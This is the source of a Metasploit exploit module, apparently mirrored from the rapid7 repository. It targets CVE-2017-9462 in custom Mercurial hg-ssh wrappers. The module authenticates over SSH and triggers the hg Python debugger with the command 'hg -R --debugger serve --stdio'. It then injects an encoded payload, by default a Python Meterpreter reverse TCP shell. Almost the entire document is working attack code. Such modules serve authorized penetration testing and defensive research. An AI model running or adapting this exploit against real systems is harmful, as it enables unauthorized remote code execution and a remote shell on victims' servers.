Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/ssh/mercurial_ssh_exec.rb
27968 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::SSH
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Mercurial Custom hg-ssh Wrapper Remote Code Exec',
16
'Description' => %q{
17
This module takes advantage of custom hg-ssh wrapper implementations that don't
18
adequately validate parameters passed to the hg binary, allowing users to trigger a
19
Python Debugger session, which allows arbitrary Python code execution.
20
},
21
'License' => MSF_LICENSE,
22
'Author' => [
23
'claudijd',
24
],
25
'References' => [
26
[ 'CVE', '2017-9462' ],
27
[ 'URL', 'https://www.mercurial-scm.org/wiki/WhatsNew#Mercurial_4.1.3_.282017-4-18.29' ],
28
[ 'ATT&CK', Mitre::Attack::Technique::T1021_004_SSH ]
29
],
30
'DefaultOptions' => {
31
'Payload' => 'python/meterpreter/reverse_tcp'
32
},
33
'Platform' => ['python'],
34
'Arch' => ARCH_PYTHON,
35
'Targets' => [ ['Automatic', {}] ],
36
'Privileged' => false,
37
'DisclosureDate' => '2017-04-18',
38
'DefaultTarget' => 0,
39
'Notes' => {
40
'Stability' => [CRASH_SAFE],
41
'Reliability' => [REPEATABLE_SESSION],
42
'SideEffects' => []
43
}
44
)
45
)
46
47
register_options(
48
[
49
Opt::RHOST(),
50
Opt::RPORT(22),
51
OptString.new('USERNAME', [ true, 'The username for authentication', 'root' ]),
52
OptPath.new('SSH_PRIV_KEY_FILE', [ true, 'The path to private key for ssh auth', '' ]),
53
]
54
)
55
56
register_advanced_options(
57
[
58
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
59
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
60
]
61
)
62
end
63
64
def rhost
65
datastore['RHOST']
66
end
67
68
def rport
69
datastore['RPORT']
70
end
71
72
def username
73
datastore['USERNAME']
74
end
75
76
def ssh_priv_key
77
File.read(datastore['SSH_PRIV_KEY_FILE'])
78
end
79
80
def exploit
81
ssh_options = ssh_client_defaults.merge({
82
auth_methods: ['publickey'],
83
key_data: [ ssh_priv_key ],
84
port: rport
85
})
86
87
ssh_options.merge!(verbose: :debug) if datastore['SSH_DEBUG']
88
89
print_status("#{rhost}:#{rport} - Attempting to login...")
90
91
begin
92
ssh = nil
93
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
94
ssh = Net::SSH.start(rhost, username, ssh_options)
95
end
96
rescue Rex::ConnectionError
97
return
98
rescue Net::SSH::Disconnect, ::EOFError
99
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
100
return
101
rescue ::Timeout::Error
102
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
103
return
104
rescue Net::SSH::AuthenticationFailed
105
print_error "#{rhost}:#{rport} SSH - Failed authentication due wrong credentials."
106
rescue Net::SSH::Exception => e
107
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
108
return
109
end
110
# rubocop:disable Lint/ShadowingOuterLocalVariable
111
if ssh
112
print_good('SSH connection is established.')
113
ssh.open_channel do |ch|
114
ch.exec 'hg -R --debugger serve --stdio' do |ch, _success|
115
ch.on_extended_data do |ch, _type, data|
116
if data.match(/entering debugger/)
117
print_good("Triggered Debugger (#{data})")
118
ch.send_data "#{payload.encoded}\n"
119
else
120
print_error("Unable to trigger debugger (#{data})")
121
end
122
end
123
end
124
end
125
# rubocop:enable Lint/ShadowingOuterLocalVariable
126
begin
127
ssh.loop unless session_created?
128
rescue Errno::EBADF => e
129
elog(e)
130
end
131
end
132
end
133
end
134
135